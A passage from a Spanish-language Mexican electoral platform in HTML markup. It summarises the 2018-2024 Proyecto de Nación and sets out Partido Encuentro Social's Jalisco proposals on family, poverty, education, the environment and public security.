width=\"97\">\n<p>120\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Eficiencia del marco legal en la soluci\u00f3n de disputas entre particulares<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>118\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Crimen Organizado<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>134\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Confianza en la polic\u00eda<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>134\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Comportamiento \u00e9tico de las empresas<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>117\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Suscripciones de telefon\u00eda m\u00f3vil (usuarios por cada 100 habitantes)<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>108\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Calidad en la educaci\u00f3n primaria<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>114\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Calidad de educaci\u00f3n en matem\u00e1ticas y ciencias<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>117\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Tasa total de impuestos\/utilidades<\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>116\/137<\/p>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">\n<p><strong>Costos de pol\u00edticas agr\u00edcolas <\/strong><\/p>\n<\/td>\n<td width=\"97\">\n<p>112\/137<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Elaboraci\u00f3n propia con base en datos del World Economic Report.\u00a0<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tConclusiones\t\t\t\t\t<\/p>\n<p>El Proyecto de Naci\u00f3n 2018-2024, fundamento de la Plataforma Electoral, tiene como objetivo principal presentar las propuestas que permitan al nuevo gobierno democr\u00e1tico cambiar el rumbo de M\u00e9xico entre 2018 y 2024, adem\u00e1s de cumplir con el objetivo de tener para entonces un pa\u00eds m\u00e1s justo, m\u00e1s pr\u00f3spero, m\u00e1s incluyente. \u00a0\u00a0<\/p>\n<p>El Proyecto de Naci\u00f3n fue elaborado con la participaci\u00f3n de m\u00e1s de 200 expertos que integraron equipos interdisciplinarios en distintos puntos del pa\u00eds para trabajar sobre asuntos de pol\u00edtica y gobierno, econom\u00eda y desarrollo, educaci\u00f3n, cultura y valores, y desarrollo social.<\/p>\n<p>Se presentaron m\u00e1s de 100 proyectos y programas muy detallados, acompa\u00f1ados de sus respectivos diagn\u00f3sticos, as\u00ed como propuestas y l\u00edneas de acci\u00f3n muy bien fundamentadas para su aplicaci\u00f3n oportuna y concreta. Algunos de los temas que fueron integrados en las comisiones respectivas son: proyecto de apoyo a j\u00f3venes, educaci\u00f3n, seguridad, relaciones exteriores, infraestructura, energ\u00eda, sector agropecuario, sector hidr\u00e1ulico, pol\u00edtica macroecon\u00f3mica, deporte, cultura, impartici\u00f3n de justicia y estado de derecho, medio ambiente, pesca, combate a la corrupci\u00f3n, pol\u00edtica industrial y tecnolog\u00eda, energ\u00eda, sector financiero, etc\u00e9tera.<\/p>\n<p>Los\u00a0 proyectos tienen la caracter\u00edstica de ser transversales, como ocurre en el caso de Deporte-Salud-Educaci\u00f3n, o bien con el eje Educaci\u00f3n-Trabajo-Seguridad-Fortalecimiento de Valores, que es muy relevante en el caso de los proyectos de los j\u00f3venes. En ellos se realiza un an\u00e1lisis detallado de las carencias, omisiones y abusos en que han incurrido las pasadas administraciones en temas estrat\u00e9gicos, lo cual ha implicado que M\u00e9xico no haya podido aprovechar los recursos humanos y naturales, crecer arm\u00f3nicamente entre regiones y personas, ofrecer mejor educaci\u00f3n, servicios de salud, empleo de calidad y equidad para los trabajadores, ingresos dignos para los campesinos ni apoyo y respeto a los grupos ind\u00edgenas, entre muchas de las cuestiones por resolver.<\/p>\n<p>La base del modelo de desarrollo y crecimiento del nuevo gobierno democr\u00e1tico consiste en reasignar adecuadamente el gasto p\u00fablico y ejercerlo de una manera m\u00e1s eficiente y sin corrupci\u00f3n, para que los recursos p\u00fablicos se dirijan a programas sociales y de infraestructura de gran impacto y a elevar la cobertura y calidad de la educaci\u00f3n, principalmente la media superior y la superior. Tambi\u00e9n es preciso que los proyectos dignifiquen a los adultos mayores que han quedado fuera de los esquemas tradicionales de pensiones, que sirvan de capital semilla para proyectos de infraestructura que detonen la reactivaci\u00f3n econ\u00f3mica y la normalizaci\u00f3n de regiones enteras, que garanticen que el gasto p\u00fablico cumpla con su objetivo redistributivo y contribuya a un crecimiento y desarrollo econ\u00f3mico m\u00e1s arm\u00f3nico entre regiones, entre sectores sociales y entre personas.<\/p>\n<p>Las principales fuentes de financiamiento de los proyectos provendr\u00e1n de la eliminaci\u00f3n de la corrupci\u00f3n y de un ejercicio honesto de gobierno, as\u00ed como de la estricta observancia de la austeridad republicana. Se presentar\u00e1 una iniciativa de presupuesto distinta, orientada a la reducci\u00f3n del gasto corriente y al incremento en el gasto en inversi\u00f3n p\u00fablica. Los recursos que se liberen se aplicar\u00e1n a menos proyectos pero de mayor impacto y mejor concebidos que los actuales. Con estos recursos se contribuir\u00e1 a financiar el desarrollo sin elevar impuestos ni aumentar la deuda p\u00fablica. El Proyecto de Naci\u00f3n establece la necesidad de evaluar los proyectos y dotarlos de un alcance nacional y colectivo.<\/p>\n<p>En lo que se refiere al manejo de la pol\u00edtica macroecon\u00f3mica, se reitera el compromiso con la estabilidad, y por eso es importante resaltar el respeto a la autonom\u00eda de Banco de M\u00e9xico.\u00a0<\/p>\n<p>En este esp\u00edritu, se plantea que el gobierno opere s\u00f3lo con el 30 por ciento de la estructura actual de mando. En algunos proyectos, como los que se presentaron en la tem\u00e1tica sobre pol\u00edtica laboral o pol\u00edtica industrial, se hace una propuesta de reducci\u00f3n organizacional de las secretar\u00edas, de tal manera que los aparatos burocr\u00e1ticos se ajusten a los programas.<\/p>\n<p>Se propone gobernar desde los pueblos y comunidades, mediante una Presidencia itinerante que recorra el pa\u00eds para obtener de primera mano informaci\u00f3n sobre las necesidades de la poblaci\u00f3n.<\/p>\n<p>El nuevo gobierno adecuar\u00e1 sus pol\u00edticas y acciones a las especificidades econ\u00f3micas y culturales de las distintas regiones del pa\u00eds y enfatizar\u00e1 las fortalezas regionales mediante acciones particulares, ya sea mejorar el rendimiento de las tierras agr\u00edcolas, impulsar el establecimiento de industrias o fomentar el tr\u00e1nsito desde las manufacturas hacia las nuevas tecnolog\u00edas.<\/p>\n<p>Se debe corregir el rumbo maquilador que le fue impuesto al pa\u00eds, no s\u00f3lo porque est\u00e1 basado en procesos de constante reducci\u00f3n (o sobre explotaci\u00f3n) de la fuerza laboral sino porque el pa\u00eds debe iniciar el tr\u00e1nsito de las manufacturas cl\u00e1sicas a las llamadas industrias del futuro (tecnolog\u00edas de la informaci\u00f3n, biotecnolog\u00eda, rob\u00f3tica, energ\u00edas renovables, etc.).\u00a0<\/p>\n<p>El Proyecto de Naci\u00f3n plantea estrategias para recuperar la autosuficiencia energ\u00e9tica y alimentaria, con el objeto de reducir la vulnerabilidad que ha tenido la econom\u00eda mexicana ante cambios geopol\u00edticos como la m\u00e1s reciente sucesi\u00f3n presidencial en Estados Unidos.\u00a0<\/p>\n<p>Los sismos que sacudieron a la Ciudad de M\u00e9xico y a los estados de Oaxaca, Chiapas, Puebla, Morelos, y M\u00e9xico, abren el debate sobre la necesidad de la descentralizaci\u00f3n del gobierno federal hacia todas las entidades de la federaci\u00f3n, dependiendo de la vocaci\u00f3n productiva de cada una de ellas, y el mismo par\u00e1metro tendr\u00eda que ser aplicado en los gobiernos de los estados, dependiendo de los contenidos y los alcances de sus atribuciones.<\/p>\n<p>Las actividades extractivas podr\u00e1n desarrollarse previa consulta a los pueblos de los territorios afectados, con estricto cuidado el medio ambiente y con el compromiso de los inversionistas internacionales de desarrollar su actividad en condiciones laborales y ambientales semejantes a las que se observan en sus pa\u00edses de origen.<\/p>\n<p>En el \u00e1mbito urbano es imperativo dar soporte a los programas de atenci\u00f3n a las colonias populares y los programas de vivienda, garantizando siempre la seguridad en la tenencia de la tierra.\u00a0<\/p>\n<p>En el sector financiero,\u00a0 la banca de desarrollo ser\u00e1 un motor para el financiamiento de empresas peque\u00f1as, medianas y de reciente creaci\u00f3n, y reducir\u00e1 el fondeo de las grandes empresas.\u00a0<\/p>\n<p>El Nuevo Gobierno Democr\u00e1tico no ser\u00e1 reh\u00e9n del Poder Legislativo, el cual, se ha convertido en un mercado de favores y chantajes. Se reducir\u00e1 al m\u00ednimo indispensable la cantidad de reformas legales, y en las entidades federativas del pa\u00eds se alentar\u00e1 la verdadera autonom\u00eda de los poderes.<\/p>\n<p>En cuanto se refiere a los proyectos de seguridad, es muy importante la coordinaci\u00f3n dentro del nuevo gobierno democr\u00e1tico, para presentar un programa integral en donde se relacione Pol\u00edtica-Seguridad-Desarrollo Social-Desarrollo Econ\u00f3mico.<\/p>\n<p>El nuevo gobierno democr\u00e1tico respetar\u00e1 siempre el estado de derecho. Lo que hay ahora es estado de cohecho. El respeto al derecho a la propiedad privada es uno de los puntos clave de la propuesta, sobre todo en lo que se refiere al respeto a la tenencia de la tierra. En este sentido es necesario resaltar que funcionarios p\u00fablicos del sector agr\u00edcola han comentado a productores que el Nuevo Gobierno Democr\u00e1tico no respetar\u00eda la tenencia de la tierra, lo cual es una manera de sembrar mentira y desinformaci\u00f3n en la poblaci\u00f3n.<\/p>\n<p>La pol\u00edtica exterior se regir\u00e1 por los principios de soberan\u00eda nacional y no intervenci\u00f3n, soluci\u00f3n de los conflictos en forma pac\u00edfica y mediante el di\u00e1logo, y por el respeto al derecho de autodeterminaci\u00f3n, soluci\u00f3n de los conflictos en forma pac\u00edfica y mediante el di\u00e1logo y por el respeto al derecho de autodeterminaci\u00f3n; en su estilo, no ser\u00e1 protag\u00f3nica sino prudente y buscar\u00e1 la cooperaci\u00f3n para el desarrollo.<\/p>\n<p>Ser\u00e1 fundamental la atenci\u00f3n y protecci\u00f3n de los mexicanos en el exterior.\u00a0<\/p>\n<p>El nuevo gobierno atender\u00e1 el sector educativo como una prioridad. La educaci\u00f3n, elemento indispensable para el desarrollo nacional, tiene muchas dimensiones: el derecho a recibirla es universal, consustancial a todos los habitantes del pa\u00eds, cual sea su edad, condici\u00f3n social, cultural y econ\u00f3mica. El sistema educativo de M\u00e9xico es un bien nacional y uno de los recursos m\u00e1s importantes del pa\u00eds. La educaci\u00f3n es la mejor inversi\u00f3n p\u00fablica para una naci\u00f3n. Este derecho es inalienable, y por lo tanto el Estado es el responsable de su garant\u00eda. El art\u00edculo 3\u00b0 constitucional establece esa obligaci\u00f3n para los niveles de preescolar, primaria y secundaria, pero tambi\u00e9n la de promover e impartir de manera gratuita todos los tipos y niveles educativos, incluyendo la educaci\u00f3n superior.\u00a0<\/p>\n<p>Actualmente ese mandato constitucional no se cumple a plenitud, pues la llamada reforma educativa abri\u00f3 una brecha en la gratuidad de la educaci\u00f3n p\u00fablica al atribuir a las familias la responsabilidad de administrar los planteles; el Legislativo y el Ejecutivo han reducido los presupuestos y no asignan suficientes recursos para una infraestructura escolar decorosa y maestros con condiciones laborales dignas; adem\u00e1s, las condiciones de pobreza de amplios sectores de la poblaci\u00f3n hacen pr\u00e1cticamente imposible que los ni\u00f1os y j\u00f3venes asistan a clases. El Estado incumple su deber de promover la educaci\u00f3n superior; cada a\u00f1o m\u00e1s de 300 mil j\u00f3venes son rechazados en su intento por ingresar a alguna universidad p\u00fablica.<\/p>\n<p>Nuestro proyecto propone medidas para ampliar en el corto plazo la cobertura educativa en todos los niveles a fin de garantizar que ninguna persona que desee estudiar se vea impedida de hacerlo por falta de condiciones o de cupo en las instituciones de ense\u00f1anza. Consideramos que esta acci\u00f3n contribuye a combatir los fen\u00f3menos de inseguridad, violencia y deterioro del estado de derecho. La exclusi\u00f3n de millones de j\u00f3venes de oportunidades educativas ha sido una de las causas preponderantes de la descomposici\u00f3n social que padece el pa\u00eds. Preferimos que los j\u00f3venes sean becarios a que sean sicarios. Por ello, habr\u00e1 acceso a escuelas universitarias p\u00fablicas y privadas para todos los estudiantes que aspiren a estudiar y cuenten con certificado de estudios de educaci\u00f3n media superior. \u00a0<\/p>\n<p>Se revisar\u00e1 el financiamiento y el gasto del sector educativo para terminar con la corrupci\u00f3n, disminuir el n\u00famero de directivos y de altos funcionarios p\u00fablicos que hoy engullen, de manera injustificada, una parte importante del gasto destinado a la ense\u00f1anza.<\/p>\n<p>Queremos una pr\u00e1ctica educativa acorde con el programa de transformaci\u00f3n del pa\u00eds, con la flexibilidad necesaria para ser enriquecido y modificado, a fin de incorporar una perspectiva sustentable, basada en la convivencia plural, diversa, incluyente, con una identidad clara, con memoria hist\u00f3rica y fundada en la incorporaci\u00f3n de conocimientos y relaciones solidarias con otros pueblos, en una verdadera pr\u00e1ctica de interculturalidad.<\/p>\n<p>Por eso nuestro proyecto plantea la realizaci\u00f3n de una transformaci\u00f3n educativa que involucre a las autoridades pero tambi\u00e9n a maestros, directivos, estudiantes, padres de familia y comunidades, a fin de lograr una educaci\u00f3n de calidad con valores humanistas y solidarios. La ense\u00f1anza debe ser vista como una actividad de inter\u00e9s p\u00fablico y general, y por ello debe abrirse su dise\u00f1o y su pr\u00e1ctica a la participaci\u00f3n de toda la sociedad. De esa manera M\u00e9xico conseguir\u00e1 una renovaci\u00f3n y una dignificaci\u00f3n profundas de las escuelas de todos los niveles para que puedan dar a las nuevas generaciones los elementos \u00e9ticos, cient\u00edficos, culturales y art\u00edsticos que requieren para alentar un desarrollo nacional incluyente, democr\u00e1tico y sostenible.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tI.\tIntroducci\u00f3n\t\t\t\t\t<\/p>\n<p>En nuestro car\u00e1cter de partido pol\u00edtico nacional, la plataforma electoral que se presenta a continuaci\u00f3n, constituye el marco referencial para nuestra actividad pol\u00edtica en el estado de Jalisco. Las siguientes l\u00edneas y propuestas tienen como prop\u00f3sito sintetizar los ideales base, por los cuales deber\u00e1 transitar nuestro ejercicio social y pol\u00edtico, tomando en cuenta los lineamientos y principios generales del Partido en diferentes materias.<\/p>\n<p>En tal virtud, el Partido Encuentro Social tiene como principal responsabilidad elaborar propuestas orientadas a reforzar el combate eficiente de la pobreza, la marginaci\u00f3n, la exclusi\u00f3n social, coadyuvar el desarrollo y fortalecimiento del individuo y el fortalecimiento de la familia, la preservaci\u00f3n del ambiente y, en general, aqu\u00e9llas que garantizan la construcci\u00f3n de condiciones para que los ciudadanos puedan ejercer plenamente sus derechos y obligaciones, generando mayor igualdad de oportunidades.<\/p>\n<p>Para realizar nuestros postulados y alcanzar los objetivos enunciados en esta plataforma. En Encuentro Social proponemos trabajar principalmente en cinco \u00e1reas identificadas como las de mayor importancia:<\/p>\n<p>1) Vida y familia<\/p>\n<p>El Partido Encuentro Social tiene sus bases en estos principios, y como tal, es de suma importancia aportar propuestas que aborden diferentes l\u00edneas de acci\u00f3n, tal como promover las bases para la protecci\u00f3n de la vida de manera transversal e institucional. Por otro lado expedir la Ley para el Desarrollo Familiar del Estado de Jalisco, instrumentar pol\u00edticas p\u00fablicas que refuercen la instituci\u00f3n de la familia tradicional, crear un organismo descentralizado para la atenci\u00f3n de la familia, que sustituya las actividades que realiza actualmente el DIF, de tal forma que se atienda al colegiado familiar de manera m\u00e1s integral. Adem\u00e1s, promover o incentivar el acondicionamiento de \u00a0espacios espec\u00edficos para mujeres en proceso de lactancia en el sector p\u00fablico y privado y desarrollar por medio de las instancias estatales un programa de educaci\u00f3n perinatal para hombres y mujeres en periodo gestante.<\/p>\n<p>2) Desarrollo social y combate a la pobreza<\/p>\n<p>Es innegable la relaci\u00f3n causal entre la precariedad material que padece la mayor parte de la poblaci\u00f3n con el incremento de la inseguridad, la violencia, la migraci\u00f3n forzada por las circunstancias, la descomposici\u00f3n pol\u00edtica e institucional y la mediocridad del desempe\u00f1o econ\u00f3mico en general.<\/p>\n<p>Por ello, las propuestas contenidas en este documento deben enmarcarse en el prop\u00f3sito general de combatir la pobreza de vastos sectores de la sociedad mediante la creaci\u00f3n de fuentes de trabajo, el impulso a las actividades productivas, la inclusi\u00f3n de los j\u00f3venes en programas educativos o laborales y la atenci\u00f3n prioritaria al cumplimiento efectivo de los derechos de las mujeres, los pueblos ind\u00edgenas y otros grupos vulnerables.<\/p>\n<p>De acuerdo con el \u00faltimo informe de medici\u00f3n de la pobreza del Consejo Nacional de Evaluaci\u00f3n de la Pol\u00edtica de Desarrollo Social (CONEVAL), en los \u00faltimos dos a\u00f1os, Jalisco logr\u00f3 reducir el n\u00famero de personas en pobreza y pobreza extrema. No obstante, en 2016 en la entidad exist\u00edan dos millones 560 mil personas en situaci\u00f3n de pobreza, es decir, 31.8% de la poblaci\u00f3n estatal, mientras que en 2014 eran dos millones 780 mil, 35.4%. Lo anterior significa que s\u00f3lo hubo una reducci\u00f3n de 4%, y que a\u00fan existe un gran n\u00famero de ciudadanos que necesitan ser apoyados para que puedan salir de la situaci\u00f3n de pobreza en la que se encuentran.<\/p>\n<p>Para reducir la pobreza, la actuaci\u00f3n no puede concentrarse en un \u00e1mbito, sino en acciones complementarias que atiendan estructuralmente el problema, la primera de ellas se enfoca en el desarrollo social como base del bienestar individual y colectivo; para lograrlo es necesaria una mayor coordinaci\u00f3n y cooperaci\u00f3n en todos los \u00f3rdenes de gobierno, con el prop\u00f3sito de impulsar un proceso de mejora y fortalecimiento continuo de las pol\u00edticas sociales.<\/p>\n<p>3) R\u00e9gimen Pol\u00edtico<\/p>\n<p>Los desv\u00edos y los dispendios que caracterizan actualmente el ejercicio del gasto p\u00fablico deben cesar, pero deben erradicarse tambi\u00e9n la frivolidad y la insensibilidad en las altas esferas gubernamentales. Hoy en d\u00eda las erogaciones innecesarias \u2013que empiezan por las desmesuradas percepciones y prestaciones de los funcionarios p\u00fablicos\u2013 consumen recursos ingentes que podr\u00e1n ser liberados para el fomento de proyectos productivos y programas sociales. A fin de establecer un gobierno eficiente para los jaliscienses es necesario tomar medidas que fortalezcan y vinculen las acciones ejecutadas por las autoridades, que traigan certidumbre y confianza a los gobernados. Se requiere atender diversos mecanismos institucionales que favorezcan el desarrollo de la poblaci\u00f3n, desde una regularizaci\u00f3n de los salarios de los servidores p\u00fablicos, as\u00ed como una reestructuraci\u00f3n de los mecanismos de control para la reintegraci\u00f3n social. Adem\u00e1s, es necesario refrendar la participaci\u00f3n de las mujeres y j\u00f3venes en la vida pol\u00edtica e incentivar una mayor participaci\u00f3n ciudadana. Por otro lado, la interacci\u00f3n de ayuntamientos permitir\u00e1 fortalecer la Entidad por medio de programas y acciones concretas entre la poblaci\u00f3n y las autoridades.<\/p>\n<p>4) Educaci\u00f3n<\/p>\n<p>En 2015 la condici\u00f3n de rezago educativo afect\u00f3 a m\u00e1s de dos millones de jaliscienses. Esta alta cifra representa un punto de oportunidad para fomentar mejores condiciones de apoyo e incentivar a los estudiantes a continuar con sus estudios en todos los niveles. Asimismo, es necesario fomentar el h\u00e1bito por la lectura, disminuir el nivel de violencia escolar en todo el estado, fomentar las oportunidades educativas para la permanencia en el nivel medio superior, tener una educaci\u00f3n inclusiva para las personas con discapacidad, crear una red de transporte gratuito para estudiantes de comunidades alejadas de sus centros de estudio, as\u00ed como contar con una plantilla de maestros bien capacitados, preservar las lenguas ind\u00edgenas y fomentar la educaci\u00f3n art\u00edstica y cultural.<\/p>\n<p>5) Medio ambiente<\/p>\n<p>En las \u00faltimas d\u00e9cadas, la preocupaci\u00f3n por el medio ambiente ha ido en aumento, debido su deterioro y degradaci\u00f3n. Sin embargo, por la falta de una legislaci\u00f3n ambiental r\u00edgida, las autoridades de los tres niveles de gobierno ponen en riesgo el equilibrio ecol\u00f3gico de la regi\u00f3n, amenazando el bienestar y la salud de la poblaci\u00f3n.<\/p>\n<p>Algunas organizaciones civiles preocupadas por la problem\u00e1tica que se presenta en el estado de Jalisco en materia ambiental, no son escuchadas por los gobiernos sobre la intensidad de los problemas ambientales, que, en ocasiones, se pueden atender de manera inmediata. Por lo tanto, es importante generar pol\u00edticas p\u00fablicas sobre biodiversidad y medioambiente, para proporcionar beneficios con calidad ambiental.<\/p>\n<p>En el Partido Encuentro Social, preocupados por la falta de programas permanentes que permitan concientizar a la poblaci\u00f3n sobre los da\u00f1os causados a los distintos ecosistemas, nos obliga a replantear una pol\u00edtica ambiental r\u00edgida, mediante propuestas y acciones claras, que con el apoyo de la ciudadan\u00eda, que nos permitan rescatar y cuidar mejor del medio ambiente.<\/p>\n<p>Por lo tanto, Encuentro Social se compromete a generar e incorporar pol\u00edticas ambientales que gu\u00eden la toma de decisiones, teniendo como prioridad identificar qu\u00e9 problemas se deber\u00e1n prevenir y resolver a trav\u00e9s de estrategias de regulaci\u00f3n ecol\u00f3gica, pol\u00edtica ambiental y promoci\u00f3n de un desarrollo sustentable, con la finalidad de disminuir conflictos ambientales mediante la planeaci\u00f3n de pol\u00edticas p\u00fablicas que permitan una planeaci\u00f3n y participaci\u00f3n en conjunto gobierno-ciudadan\u00eda.<\/p>\n<p>\t\t\t\t\t\t\t\t\t\t\t\tII.\tVida y familia\t\t\t\t\t<\/p>\n<p><strong>Expedir la Ley para el Desarrollo Familiar del Estado de Jalisco.<\/strong><\/p>\n<p>Para combatir muchos problemas sociales lo principal que debe procurar el estado es fortalecer las familias, por lo que es necesario expedir un documento exclusivo en materia familiar para el estado de Jalisco que gu\u00ede el dise\u00f1o, ejecuci\u00f3n, seguimiento y evaluaci\u00f3n de las pol\u00edticas p\u00fablicas dirigidas a la familia, cuyo objeto sea: reconocer a la familia como una instituci\u00f3n social titular de derechos; establecer los principios rectores y criterios que orientar\u00e1n la pol\u00edtica estatal en materia familiar; a efecto de que el estado cumpla con su responsabilidad de garantizar la protecci\u00f3n, prevenci\u00f3n y restituci\u00f3n integrales de los derechos de la familia, entre otros. Donde queden expresos inequ\u00edvocamente los conceptos de familia y matrimonio, a fin de armonizar la legislaci\u00f3n interna en materia familiar, y evitar la concurrencia de normas distintas sobre una misma materia, con perjuicio de la certeza jur\u00eddica.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Crear un organismo descentralizado para la atenci\u00f3n de la familia, que sustituya las actividades que realiza actualmente el DIF, de tal forma que se atienda al colegiado familiar de manera m\u00e1s integral. <\/strong><\/p>\n<p>Dicha dependencia ser\u00eda la encargada a nivel estatal de crear pol\u00edticas p\u00fablicas, para abordar los problemas relativos a los integrantes de la familia: ni\u00f1os, j\u00f3venes, mujeres y adultos mayores. La familia es el primer acercamiento de los individuos con la sociedad y es en ella donde se adquieren y fortalecen los valores universales que regir\u00e1n la vida de dichos individuos y, de manera directa, afectar\u00e1n a la sociedad en su conjunto. Con el fin de disminuir la desintegraci\u00f3n familiar y, por consiguiente, la violencia y el delito, resalta la importancia de crear una Secretar\u00eda o Dependencia Gubernamental con facultades espec\u00edficas y encaminadas al fortalecimiento de dicha instituci\u00f3n y a la capacitaci\u00f3n y formaci\u00f3n humana de sus integrantes.<\/p>\n<p><strong>Promover las bases para la protecci\u00f3n de la vida de manera transversal e institucional.<\/strong><\/p>\n<p>Se necesita desarrollar una pol\u00edtica estatal que contribuya a reforzar la cultura social e institucional de protecci\u00f3n a la vida. Es necesario ofrecer alternativas pr\u00e1cticas y viables para situaciones que impliquen la vulnerabilidad de la vida, tal como apoyo psicol\u00f3gico, m\u00e9dico y contacto con asociaciones civiles.<\/p>\n<p><strong>Instrumentar pol\u00edticas p\u00fablicas que refuercen la instituci\u00f3n del matrimonio.<\/strong><\/p>\n<p>El matrimonio, entendido como la uni\u00f3n legal entre un hombre y una mujer, proporciona beneficios que sirven de estabilizadores en la sociedad y debe ser protegido y consolidado, pues es de gran importancia social. Por tanto, se instrumentar\u00e1n pol\u00edticas p\u00fablicas para fortalecer la instituci\u00f3n formada por el esposo y la esposa; se fomentar\u00e1n los valores, la interacci\u00f3n y desarrollo del matrimonio; y se pondr\u00e1 al alcance de los c\u00f3nyuges instrumentos y herramientas que les permitan capacitarse para tomar decisiones m\u00e1s acertadas en su vida conyugal y familiar.<\/p>\n<p><strong>Promover o incentivar el acondicionamiento de \u00a0espacios espec\u00edficos para mujeres en proceso de lactancia en el sector p\u00fablico y privado. <\/strong><\/p>\n<p>La lactancia materna es de suma importancia para la salud p\u00fablica de nuestro Estado, ya que proporciona anticuerpos a los infantes y alarga el periodo de inmunidad natural. La leche materna aporta los componentes necesarios para la nutrici\u00f3n neonatal y la estimulaci\u00f3n temprana que favorece la salud tanto f\u00edsica como mental de los beb\u00e9s. Se buscar\u00e1 incentivar a las empresas e instituciones de gobierno para que, de manera progresiva, acondicionen un espacio espec\u00edfico destinado a \u00a0las madres en lactancia, mientras tanto, y de acuerdo a su plantilla laboral, deber\u00e1n contar con un espacio apropiado, donde se les permita a las mujeres en proceso de lactancia accesar en libre horario.<\/p>\n<p><strong>Desarrollar por medio de las instancias estatales gubernamentales (DIF, Secretar\u00eda de Salud, Secretar\u00eda de Desarrollo social) un programa de educaci\u00f3n perinatal para hombres y mujeres en periodo gestante.<\/strong><\/p>\n<p>La educaci\u00f3n perinatal para hombres y mujeres que se encuentran gestando podr\u00eda reducir los altos \u00edndices de violencia obst\u00e9trica. Este programa de educaci\u00f3n perinatal estar\u00e1 abierto a la ciudadan\u00eda en general y a todas aquellas familias que se encuentren en periodo gestante. Se distribuir\u00e1 informaci\u00f3n sobre la violencia obst\u00e9trica, as\u00ed como los cuidados b\u00e1sicos perinatales y neonatales.<\/p>\n<p><strong>\u00a0<\/strong><\/p>\n<p><strong>Fomentar la integraci\u00f3n familiar como base s\u00f3lida de la sociedad<\/strong>.<\/p>\n<p>En el \u00faltimo lustro se duplic\u00f3 el n\u00famero de denuncias por lesiones derivadas de violencia intrafamiliar en Jalisco, lo que coloca a la entidad en la quinta posici\u00f3n con mayor registro de este delito, seg\u00fan cifras de la Fiscal\u00eda General del Estado (FGE). Es imperante fortalecer los m\u00e9todos preventivos para evitar problemas intrafamiliares a trav\u00e9s de tratamientos m\u00e9dicos de apoyo psicol\u00f3gico y psiqui\u00e1tricos, as\u00ed como acciones formativas y educativas que transmitan los valores \u00e9ticos, sociales y culturales que aseguren una sana convivencia entre los miembros de la familia y la comunidad.<\/p>\n<p><strong>Procurar la Seguridad P\u00fablica de las familias.<\/strong><\/p>\n<p>Jalisco, en los \u00faltimos a\u00f1os, se ha caracterizado por la incertidumbre en que vive la mayor parte de la poblaci\u00f3n, ante la posibilidad de ser v\u00edctimas de la delincuencia. Hasta el 2016, llama la atenci\u00f3n la correlaci\u00f3n que existe entre las cifras del promedio nacional y las cifras para el estado de Jalisco, convirti\u00e9ndose en referente,\u00a0 de lo que sucede en el pa\u00eds. Adem\u00e1s, en cuanto a la percepci\u00f3n de seguridad por parte de la ciudadan\u00eda, el 68% de los encuestados manifest\u00f3 sentirse inseguro, de acuerdo a los datos proporcionados por la \u00faltima Encuesta Nacional de Seguridad P\u00fablica Urbana. La falta de seguridad vulnera el desarrollo e integraci\u00f3n de las familias en sus municipios. Se debe fortalecer, seleccionar y capacitar \u00a0al personal encargado de la Seguridad P\u00fablica en Jalisco, as\u00ed como instrumentar mecanismos que garanticen vigilancia y cobertura del territorio.<\/p>\n<p><strong>Impulsar pol\u00edticas demogr\u00e1ficas para el control de la natalidad y salud reproductiva.<\/strong><\/p>\n<p>Jalisco ocupa el lugar 4 a nivel nacional por su n\u00famero de habitantes con un total de 7 millones 844 mil 830, y donde viven 100 personas por kil\u00f3metro cuadrado, presentando un alto \u00edndice de densidad en comparaci\u00f3n con la media nacional, que es de 61 personas por kil\u00f3metro cuadrado. Esto deriva en una disminuci\u00f3n de la calidad de vida, presentando problemas econ\u00f3micos, sociales, ambientales y pol\u00edticos. Por lo que es necesario instrumentar medidas para mantener un control de natalidad y transmitir una cultura de prevenci\u00f3n y planificaci\u00f3n a trav\u00e9s de talleres y divulgaci\u00f3n de informaci\u00f3n.<\/p>\n<p><strong>Impulsar el desarrollo equitativo de las familias en el estado con una visi\u00f3n de justicia social.<\/strong><\/p>\n<p>De acuerdo con el Informe Anual sobre Pobreza y Rezago Social 2016, en Jalisco, 64.4% de la poblaci\u00f3n total, presenta al menos una carencia social. Es decir, 5 millones 182 mil personas enfrentan diariamente problemas de acceso a los servicios b\u00e1sicos, alimentaci\u00f3n, seguridad social o servicios de salud. Por lo que, se deben implementar pol\u00edticas p\u00fablicas que impulsen de manera equitativa el desarrollo social, evitar disparidades entre los habitantes y el rezago social que afecta a muchas familias en la entidad. As\u00ed como garantizar una calidad de vida digna y un nivel de bienestar a las familias de cada municipio.<\/p>\n<p><strong>Instrumentar pol\u00edticas p\u00fablicas que atiendan y eviten problemas de adicciones en las familias.<\/strong><\/p>\n<p>La Secretar\u00eda de Salud de Jalisco (SSJ) advierte que, en el estado, la sustancia adictiva m\u00e1s utilizada es el alcohol. El 50.6% de los casos de los j\u00f3venes que ya son adictos al alcohol y otras sustancias como la marihuana o la coca\u00edna est\u00e1 entre los 10 y 14 a\u00f1os. El alcohol, como droga de mayor impacto, se consume en 30.5% de los casos, seguido de la marihuana con 26.9% del consumo y los inhalantes con 10.7%. Ni\u00f1os y j\u00f3venes se encuentran en estado de gran vulnerabilidad porque no se les brinda la 